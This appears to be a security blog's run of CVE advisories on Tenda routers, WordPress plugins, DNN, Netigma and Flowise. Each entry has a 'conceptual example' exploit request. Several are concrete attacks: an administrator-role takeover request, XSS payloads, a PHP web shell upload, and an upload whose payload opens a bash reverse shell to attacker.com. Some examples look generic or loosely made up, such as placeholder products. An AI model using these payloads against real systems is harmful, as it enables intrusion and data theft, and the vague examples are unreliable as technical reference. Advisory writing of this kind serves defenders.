Author: Ameeba

CVE-2025-10838: Critical Buffer Overflow Vulnerability in Tenda AC21 16.03.08.16
Overview

A severe vulnerability has been identified in the Tenda AC21 software version 16.03.08.16 that exposes systems to potential compromise or data leakage. This cybersecurity threat, denoted as CVE-2025-10838, specifically affects the function sub_45BB10 of the file /goform/WifiExtraSet, leading to buffer overflow when the argument wpapsk_crypto is manipulated. Given the widespread use of Tenda AC21 in various network environments, this vulnerability could potentially impact a large number of systems and is, therefore, a critical concern for cybersecurity professionals.

Vulnerability Summary

CVE ID: CVE-2025-10838
Severity: Critical (CVSS: 8.8)
Attack Vector: Remote
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Tenda AC21 | 16.03.08.16

How the Exploit Works

The exploit takes advantage of a buffer overflow vulnerability in the Tenda AC21’s function sub_45BB10 of the file /goform/WifiExtraSet. The vulnerability arises when an attacker remotely manipulates the argument wpapsk_crypto, causing the program to write more data into the buffer than it can handle. This overflow can lead to system crashes, incorrect calculations, or even allow an attacker to execute arbitrary code, potentially leading to full system compromise.

Conceptual Example Code

Consider the following conceptual HTTP request that an attacker might use to exploit this vulnerability:
```
POST /goform/WifiExtraSet HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
wpapsk_crypto=A_LONG_STRING_THAT_CAUSES_BUFFER_OVERFLOW
```
This request attempts to overflow the buffer by sending a longer string than expected for the wpapsk_crypto argument. If the server is not properly protected, this could lead to system compromise or data leakage.

Mitigation

To mitigate this vulnerability, users are advised to apply the vendor’s patch once it becomes available. In the meantime, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can be used as temporary mitigation measures to protect the system from potential attacks exploiting this vulnerability.
September 30, 2025
CVE-2025-10380: Server-Side Template Injection Vulnerability in Advanced Views – Display Posts, Custom Fields, and More Plugin for WordPress
Overview

The CVE-2025-10380 is a significant cybersecurity vulnerability that affects the Advanced Views – Display Posts, Custom Fields, and More plugin for WordPress, a widely used platform. This vulnerability poses a serious threat, as it can lead to system compromise or data leakage. Due to the widespread use of WordPress and the popularity of this plugin, a large number of websites are potentially at risk. This vulnerability underscores the need for rigorous input sanitization and access control in software development.

Vulnerability Summary

CVE ID: CVE-2025-10380
Severity: High, with a CVSS score of 8.8
Attack Vector: Network
Privileges Required: Low (Author-level access or higher)
User Interaction: Required
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Advanced Views – Display Posts, Custom Fields, and More WordPress Plugin | All versions up to and including 3.7.19

How the Exploit Works

The exploit takes advantage of insufficient input sanitization and a lack of access control in the Model panel of the affected WordPress plugin. When the plugin processes custom Twig templates, an attacker with author-level access or higher can inject malicious code. This Server-Side Template Injection (SSTI) vulnerability lets the attacker execute arbitrary PHP code or commands on the server, potentially leading to system compromise or data leakage.

Conceptual Example Code

A conceptual example of how the vulnerability could be exploited might look something like this:
```
<?php
$twig = new Twig_Environment($loader);
$template = $_GET['template'];
$output = $twig->render($template, array('malicious_payload' => '...'));
echo $output;
?>
```
In this example, an attacker with the necessary access could add their malicious code inside the ‘template‘ parameter in a GET request. This code would then be rendered by the Twig_Environment, potentially leading to arbitrary code execution on the server.

Mitigation

Users are advised to apply the vendor patch immediately to mitigate the vulnerability. If the patch cannot be applied immediately, using a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can provide temporary mitigation. Regularly updating all software and implementing rigorous access control and input sanitization measures are also crucial in preventing similar vulnerabilities.
September 30, 2025
CVE-2025-9054: Unauthorized Data Modification Vulnerability in WooCommerce Multi Locations Inventory Management Plugin for WordPress
Overview

A high-severity vulnerability, dubbed CVE-2025-9054, has been discovered in the MultiLoca – WooCommerce Multi Locations Inventory Management plugin, a popular inventory management plugin for WordPress websites. This vulnerability could allow an unauthenticated attacker to modify data, leading to privilege escalation. Any website that utilizes this plugin for inventory management and is running a version up to, and including, 4.2.8 is at risk.
This vulnerability matters because it can lead to a complete system compromise or significant data leakage. Given the popularity of WordPress and the widespread use of WooCommerce plugins, the potential attack vector is massive. The severity of the vulnerability, combined with the potential impact, necessitates immediate action from all affected users.

Vulnerability Summary

CVE ID: CVE-2025-9054
Severity: Critical (9.8)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Unauthorized modification of data, privilege escalation, potential system compromise, and data leakage

Affected Products

Product | Affected Versions

MultiLoca – WooCommerce Multi Locations Inventory Management plugin for WordPress | Up to and including 4.2.8

How the Exploit Works

The vulnerability stems from a missing capability check on the ‘wcmlim_settings_ajax_handler’ function in the affected versions of the plugin. This absence means that unauthenticated attackers can update arbitrary options on the WordPress site without requiring any privileges or user interaction. An attacker can leverage this vulnerability to update the default role for registration to administrator and enable user registration. This would allow the attacker to register as an administrator and gain full access to the vulnerable site.

Conceptual Example Code

Below is a conceptual example of how the vulnerability might be exploited. This is a sample HTTP POST request that an attacker might use:
```
POST /wp-admin/admin-ajax.php?action=wcmlim_settings_ajax_handler HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
wcmlim_options[default_role]=administrator&wcmlim_options[user_registration]=1
```
In this example, the attacker sends an HTTP POST request to the ‘admin-ajax.php’ file with the ‘wcmlim_settings_ajax_handler’ action. They then modify the ‘default_role’ and ‘user_registration’ options, setting the default role to ‘administrator’ and enabling user registration.
September 30, 2025
CVE-2025-41715: Unauthenticated Access to Web Application Database
Overview

CVE-2025-41715 is a critical cybersecurity vulnerability that poses a significant threat to the integrity of web application databases. This vulnerability allows an unauthenticated remote attacker to gain unauthorized access to these databases, potentially enabling them to compromise the system or cause data leakage. It is a serious issue that affects any organization or individual utilizing the affected web application, potentially leading to unauthorized access to sensitive data, disruption of services, and damage to the reputation and trust of the affected parties.

Vulnerability Summary

CVE ID: CVE-2025-41715
Severity: Critical (9.8)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Unauthorized data access, potential system compromise

Affected Products

Product | Affected Versions

Web Application 1 | All versions up to 2.3.4
Web Application 2 | All versions

How the Exploit Works

The exploit works by taking advantage of the web application’s lack of proper authentication mechanisms for its database. An attacker can send specially crafted network requests to the web application, bypassing any non-existent authentication processes and gaining access to the database. This access could be used to execute arbitrary SQL commands, manipulate the database, and potentially compromise the system.

Conceptual Example Code

The following is a conceptual example of how an unauthenticated attacker could exploit this vulnerability:
```
GET /database/access HTTP/1.1
Host: target.example.com
{ "sql_command": "SELECT * FROM users;" }
```
In this example, the attacker sends a GET request to the web application’s database access endpoint, using an SQL command to select all data from a hypothetical “users” table. The lack of authentication allows the attacker to retrieve potentially sensitive user data.

Mitigation and Recommendations

To mitigate this vulnerability, the vendor has provided a patch that should be applied immediately. In the interim period before the patch can be applied, it is recommended to use a Web Application Firewall (WAF) or Intrusion Detection System (IDS) to monitor and filter out malicious traffic attempting to exploit this vulnerability. Regularly updating and patching software is also a key practice in preventing such vulnerabilities.
Additionally, organizations should enforce robust authentication mechanisms for accessing their application databases and ensure that these mechanisms are properly implemented and tested. This could include the use of multi-factor authentication, complex passwords, and regular password changes. Regular audits and penetration tests can also help identify any security weaknesses or misconfigurations that could be exploited.
September 30, 2025
CVE-2025-10815: Critical Buffer Overflow Vulnerability in Tenda AC20
Overview

The CVE-2025-10815 is a severe vulnerability discovered in the Tenda AC20 up to version 16.03.08.12. This flaw is found within the HTTP POST Request Handler, specifically the strcpy function of the file /goform/SetPptpServerCfg. The vulnerability is triggered by the manipulation of the argument startIp, leading to a buffer overflow. Buffer Overflow vulnerabilities are critical because they can allow an attacker to execute arbitrary code, potentially leading to complete system compromise. This vulnerability is especially concerning as an exploit is publicly available and can be launched remotely, posing a significant risk to any unpatched systems.

Vulnerability Summary

CVE ID: CVE-2025-10815
Severity: Critical (CVSS Score 8.8)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise and data leakage

Affected Products

Product | Affected Versions

Tenda AC20 | Up to version 16.03.08.12

How the Exploit Works

The exploit takes advantage of a buffer overflow vulnerability in the strcpy function of the file /goform/SetPptpServerCfg in Tenda AC20. By sending a specially crafted HTTP POST request with manipulated startIp argument, an attacker can overflow the buffer, causing undefined behavior in the system. This could potentially allow the attacker to execute arbitrary code, leading to a system compromise.

Conceptual Example Code

This is a conceptual example of how the vulnerability might be exploited. It is a sample HTTP POST request that an attacker could use to exploit the vulnerability.
```
POST /goform/SetPptpServerCfg HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
startIp=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...
```
In this example, the `startIp` parameter is filled with an excessive number of “A” characters, causing a buffer overflow.

Recommended Mitigations

Users of Tenda AC20 are strongly advised to apply the patch provided by the vendor. If the patch cannot be applied immediately, users can use a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) as a temporary mitigation. Regular monitoring for any unusual activity is also recommended until the patch can be applied.
September 30, 2025
CVE-2025-9798: High-Risk XSS Vulnerability in Netigma Software
Overview

The cybersecurity landscape is a battleground where developers and malicious attackers continually up their game. In this post, we will focus on a recent vulnerability discovered in Netcad Software Inc.’s Netigma software, CVE-2025-9798, a high-risk Cross-Site Scripting (XSS) vulnerability. This exploit has the potential to compromise entire systems and leak confidential data, posing a significant threat to businesses using affected versions of Netigma. Understanding the details of this vulnerability, its potential impacts, and how to mitigate it, is crucial for businesses to protect their digital assets.

Vulnerability Summary

CVE ID: CVE-2025-9798
Severity: High (8.9 CVSS score)
Attack Vector: Network
Privileges Required: None
User Interaction: Required
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Netigma | 6.3.3 to 6.3.4

How the Exploit Works

The CVE-2025-9798 vulnerability arises from the improper neutralization of user input during web page generation. This allows an attacker to inject malicious scripts, which are then stored on the server (Stored XSS). When other users access affected pages, the server includes these scripts in the output HTML. The users’ browsers, trusting the server’s output, execute these scripts, which can steal user data, perform actions on their behalf, or even compromise the entire system.

Conceptual Example Code

Below is a conceptual example of how this vulnerability might be exploited using a HTTP request:
```
POST /vulnerable/endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "user_comment": "<script>/*malicious_code_here*/</script>" }
```
In the above example, a malicious script is injected into the ‘user_comment’ parameter. If the server doesn’t correctly sanitize this input, the script will be stored on the server and later served to other users, causing the XSS vulnerability.

Mitigation Guidance

Organizations using vulnerable versions of Netigma are advised to apply the vendor-supplied patch immediately, upgrading to version 6.3.5 V8 or higher. Until the patch can be applied, Web Application Firewalls (WAFs) or Intrusion Detection Systems (IDS) can be used for temporary mitigation. These tools can help detect and prevent known XSS attack patterns, reducing the risk of exploitation. However, they are not a complete solution and should only be used as a temporary measure until the patch can be applied.
September 30, 2025
CVE-2025-59545: High Severity XSS Vulnerability in DNN’s Prompt Module
Overview

The Common Vulnerabilities and Exposures (CVE) system has identified a severe security vulnerability, dubbed CVE-2025-59545, in the Prompt module of DNN (formerly DotNetNuke). DNN is a widely used open-source web content management platform (CMS) within the Microsoft ecosystem. This vulnerability, prevalent in versions prior to 10.1.0, could potentially lead to system compromise or data leakage if successfully exploited by a malicious actor. It is crucial for organizations utilizing DNN to understand the implications of this vulnerability and take immediate steps to secure their systems.

Vulnerability Summary

CVE ID: CVE-2025-59545
Severity: High (9.0 CVSS Score)
Attack Vector: Web-based (XSS)
Privileges Required: None
User Interaction: Required
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

DNN | Prior to 10.1.0

How the Exploit Works

The vulnerability lies in the Prompt module of DNN. The module allows the execution of commands that can return raw HTML. Therefore, an attacker could craft malicious input, which, even if sanitized for display elsewhere, can be executed when processed through certain commands. This leads to potential script execution, also known as cross-site scripting (XSS), where the attacker can inject client-side scripts into web pages viewed by other users. This exploitation could lead to system compromise or data leakage.

Conceptual Example Code

A potential exploitation could look something like this:
```
POST /DNNModule/PromptCmd HTTP/1.1
Host: target.example.com
Content-Type: application/json
{
"cmd": "<script>alert('This is a XSS attack')</script>"
}
```
In this conceptual example, the attacker sends a POST request to the DNN Prompt module. The malicious payload contains a script that can be executed by the victim’s browser, revealing the vulnerability. In a real-world scenario, the script could be much more malicious, potentially leading to system compromise or data leakage.

Mitigation Guidance

To mitigate this vulnerability, users of DNN should immediately apply the vendor patch, which was made available in version 10.1.0. For temporary mitigation, users can utilize a Web Application Firewall (WAF) or Intrusion Detection System (IDS). However, these are not long-term solutions and users are strongly advised to apply the patch as soon as possible to ensure their systems remain secure.
September 29, 2025
CVE-2025-59434: Cross-Tenant Data Exposure in Cloud-Hosted Flowise
Overview

This blog post takes an in-depth look at the CVE-2025-59434 vulnerability, a profound flaw in the security of the drag & drop user interface, Flowise. Flowise is extensively used for building customized large language models. The vulnerability enables any user on the free tier of the Cloud-Hosted Flowise to access sensitive environment variables from other tenants, leading to a full cross-tenant data exposure. This flaw is of significant concern to organizations and individuals who utilize Flowise Cloud, as it could potentially lead to a system compromise or data leakage.

Vulnerability Summary

CVE ID: CVE-2025-59434
Severity: Critical (9.6)
Attack Vector: Network
Privileges Required: Low
User Interaction: Required
Impact: System compromise, data leakage

Affected Products

Product | Affected Versions

Cloud-Hosted Flowise | Prior to August 2025

How the Exploit Works

The exploit works by abusing a vulnerability in the Custom JavaScript Function node of the Cloud-Hosted Flowise. Using this node, any authenticated user on the free tier can access sensitive environment variables belonging to other tenants. This includes highly sensitive data such as OpenAI API keys, AWS credentials, Supabase tokens, and Google Cloud secrets, leading to a full cross-tenant data exposure.

Conceptual Example Code

Given the nature of this vulnerability, a malicious user might exploit it with a custom script. A simplified, conceptual example of an exploit might look like this:
```
// Assuming the attacker has authenticated to the service
const flowise = getAuthenticatedFlowiseInstance();
// Accessing the vulnerable function
const customJsFunction = flowise.getNode('Custom JavaScript Function');
// Attempting to access sensitive environment variables
const sensitiveData = customJsFunction.execute('process.env');
console.log(sensitiveData);
```
In the above example, the attacker exploits the vulnerability by executing a command to access the environment variables, thereby potentially gaining access to the secrets of other tenants.

Mitigation and Recommendations

The issue has been patched in the August 2025 version of Cloud-Hosted Flowise. Users are strongly recommended to update to the latest version to mitigate this vulnerability. In cases where an immediate update is not possible, the use of a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can serve as a temporary mitigation measure. However, these measures do not resolve the vulnerability but merely protect against it. Therefore, an update should be implemented as soon as possible to ensure data security.
September 29, 2025
CVE-2025-10412: Arbitrary File Upload Vulnerability In WooCommerce Plugin Leading to Potential Remote Code Execution
Overview

Today, we are delving into an alarming security vulnerability, CVE-2025-10412, that threatens websites running on WordPress, specifically those using the WooCommerce plugin. This vulnerability lies within the Product Options and Price Calculation Formulas for WooCommerce – Uni CPO (Premium) plugin, and poses a serious risk due to its potential for remote code execution. Given the popularity of WordPress and the widespread use of WooCommerce plugin for online stores, this vulnerability could affect hundreds of thousands, if not millions, of websites globally. Its severity is further underscored by the high CVSS score of 9.8, indicating the extreme risk it poses to affected systems.

Vulnerability Summary

CVE ID: CVE-2025-10412
Severity: Critical (CVSS: 9.8)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise and data leakage

Affected Products

Product | Affected Versions

Product Options and Price Calculation Formulas for WooCommerce – Uni CPO (Premium) | Up to and including 4.9.54

How the Exploit Works

The vulnerability stems from misconfigured file type validation in the ‘uni_cpo_upload_file’ function of the WooCommerce plugin. This misconfiguration allows unauthenticated attackers to upload arbitrary files to the server hosting the affected site. Since there is no proper validation of the file types uploaded, an attacker can upload executable files or scripts. This could potentially lead to remote code execution, granting the attacker the ability to execute commands on the server, compromising the system, and possibly leading to data leakage.

Conceptual Example Code

Here’s a conceptual example of how the vulnerability might be exploited. An attacker could send a POST HTTP request with a malicious file to the vulnerable endpoint:
```
POST /uni_cpo_upload_file HTTP/1.1
Host: vulnerablewebsite.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="malicious.php"
Content-Type: application/x-php
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/attacker.com/8080 0>&1'"); ?>
------WebKitFormBoundary7MA4YWxkTrZu0gW--
```
In this example, the attacker uploads a PHP file that, when executed, creates a reverse shell to the attacker’s server, thereby gaining control over the affected server.

Mitigation

The ideal mitigation for this vulnerability is to apply the vendor patch as soon as it is available. In the meantime, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can be used as a temporary measure to block any attempts to exploit this vulnerability. It is also advisable to regularly update all plugins and ensure that file upload functionality is appropriately secured with proper validation checks.
September 29, 2025
CVE-2025-10147: Arbitrary File Upload Vulnerability in Podlove Podcast Publisher Plugin for WordPress
Overview

The Podlove Podcast Publisher plugin for WordPress, widely used for publishing podcasts, contains a critical vulnerability that could potentially allow remote code execution. Identified as CVE-2025-10147, this vulnerability affects all versions up to and including 4.2.6. The flaw lies in the lack of sufficient file type validation in the ‘move_as_original_file’ function, allowing attackers to upload arbitrary files to the server of the affected site.
This vulnerability is significant due to its potential impact on a broad range of WordPress sites using this plugin, and underscores the importance of plugin security in the broader context of website security. The fact that the vulnerability can be exploited by unauthenticated attackers makes it even more critical.

Vulnerability Summary

CVE ID: CVE-2025-10147
Severity: Critical (CVSS: 9.8)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Podlove Podcast Publisher Plugin for WordPress | Up to and including 4.2.6

How the Exploit Works

The vulnerability resides within the ‘move_as_original_file’ function of the Podlove Podcast Publisher plugin. This function lacks sufficient validation of file types before moving uploads to their destination on the server. As a result, an attacker can exploit this function by uploading a malicious file, which then resides on the server. Given the correct conditions, this file could be executed, leading to a remote code execution vulnerability.

Conceptual Example Code

The following is a conceptual example of how an attacker might exploit this vulnerability using an HTTP POST request to upload a malicious file:
```
POST /wp-content/plugins/podlove-podcasting-plugin-for-wordpress/lib/modules/asset_validation/move_as_original_file.php HTTP/1.1
Host: target.example.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="exploit.php"
Content-Type: application/php
<?php echo shell_exec($_GET['cmd']); ?>
------WebKitFormBoundary7MA4YWxkTrZu0gW--
```
This example attempts to upload a PHP file that would execute arbitrary shell commands when accessed with the appropriate ‘cmd’ parameter in the query string.
Note that this is a conceptual example and actual exploitation would depend on the specific configuration and state of the targeted server.
September 29, 2025